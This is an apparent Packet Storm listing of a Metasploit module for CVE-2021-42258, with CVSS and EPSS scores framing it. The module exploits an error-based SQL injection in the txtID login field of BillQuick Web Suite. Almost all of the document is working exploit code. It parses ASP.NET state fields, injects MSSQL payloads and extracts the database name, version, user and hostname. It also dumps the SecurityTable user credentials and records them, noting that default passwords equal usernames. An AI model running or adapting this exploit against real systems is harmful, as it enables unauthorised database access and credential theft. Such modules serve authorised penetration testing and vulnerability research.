Lucene search

K
packetstormH00die, Caleb Stewart, metasploit.comPACKETSTORM:180694
HistoryAug 31, 2024 - 12:00 a.m.

BillQuick Web Suite txtID SQL Injection

2024-08-3100:00:00
h00die, Caleb Stewart, metasploit.com
packetstormsecurity.com
18
sql injection
billquick web suite
.net
mssql
database retrieval
security vulnerability

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.973

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'BillQuick Web Suite txtID SQLi',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1.  
The application is .net based, and the database is required to be MSSQL. Luckily the website gives  
error based SQLi messages, so it is trivial to pull data from the database. However the webapp  
uses an unknown password security algorithm. This vulnerability does not seem to support stacked  
queries.  
This module pulls the database name, banner, user, hostname, and the SecurityTable (user table).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Caleb Stewart <caleb.stewart94[at]gmail.com>' # original PoC, analysis  
],  
'References' => [  
['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'],  
['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'],  
['CVE', '2021-42258']  
],  
'DefaultOptions' => {  
'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request  
},  
'DisclosureDate' => '2021-10-22',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/'])  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'default.aspx'),  
'method' => 'GET'  
}, datastore['HttpClientTimeout'])  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
%r{Version: (?<version>\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}</span>} =~ res.body  
  
if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1')  
return Exploit::CheckCode::Appears("Version Detected: #{version}")  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service")  
end  
Exploit::CheckCode::Safe("Unexploitable Version: #{version}")  
end  
  
def rand_chars(len = 6)  
Rex::Text.rand_text_alpha(len)  
end  
  
def error_info(body)  
body[/BQEShowModalAlert\('Information','([^']+)/, 1]  
end  
  
def inject(content, state, generator, validation)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'default.aspx'),  
'method' => 'POST',  
'vars_post' => {  
'__VIEWSTATE' => state,  
'__VIEWSTATEGENERATOR' => generator,  
'__EVENTVALIDATION' => validation,  
'__EVENTTARGET' => 'cmdOK',  
'__EVENTARGUMENT' => '',  
'txtID' => content,  
'txtPW' => '',  
'hdnClientDPI' => '96'  
}  
}, datastore['HttpClientTimeout'])  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
res.body  
end  
  
def run  
vprint_status('Getting Variables')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'default.aspx'),  
'method' => 'GET'  
}, datastore['HttpClientTimeout'])  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
/id="__VIEWSTATE" value="(?<viewstate>[^"]+)/ =~ res.body  
/id="__VIEWSTATEGENERATOR" value="(?<viewstategenerator>[^"]+)/ =~ res.body  
/id="__EVENTVALIDATION" value="(?<eventvalidation>[^"]+)/ =~ res.body  
unless viewstate && viewstategenerator && eventvalidation  
fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.')  
end  
vprint_status("VIEWSTATE: #{viewstate}")  
vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}")  
vprint_status("EVENTVALIDATION: #{eventvalidation}")  
  
header = rand_chars  
footer = rand_chars  
  
service = {  
address: rhost,  
port: datastore['RPORT'],  
protocol: 'tcp',  
service_name: 'BillQuick Web Suite',  
workspace_id: myworkspace_id  
}  
report_service(service)  
  
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|  
int = Rex::Text.rand_text_numeric(4)  
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)  
err_info = error_info(res)  
print_error('Unexpected output from the server') if err_info.nil?  
err_info[/\\u0027(.+?)\\u0027/m, 1]  
end  
  
# all inject strings taken from sqlmap runs, using error page method  
database = sqli.current_database  
print_good("Current Database: #{database}")  
report_note(host: rhost, port: rport, type: 'database', data: database)  
  
banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")  
print_good("Banner: #{banner}")  
  
user = sqli.current_user  
print_good("DB User: #{user}")  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: user,  
private_type: :nonreplayable_hash,  
private_data: ''  
}.merge(service)  
create_credential(credential_data)  
  
hostname = sqli.hostname  
print_good("Hostname: #{hostname}")  
  
report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)  
  
sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')  
  
table = Rex::Text::Table.new(  
'Header' => "#{database}.dbo.SecurityTable",  
'Indent' => 1,  
'SortIndex' => -1,  
'Columns' =>  
[  
'EmployeeID',  
'Settings',  
]  
)  
  
sec_table.each do |(username, settings)|  
table << [username, settings]  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_type: :nonreplayable_hash, # prob encrypted not hash, so lies.  
private_data: settings.split('|').first  
}.merge(service)  
create_credential(credential_data)  
end  
print_good(table.to_s)  
print_status('Default password is the username.')  
end  
end  
`

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.973

Percentile

99.9%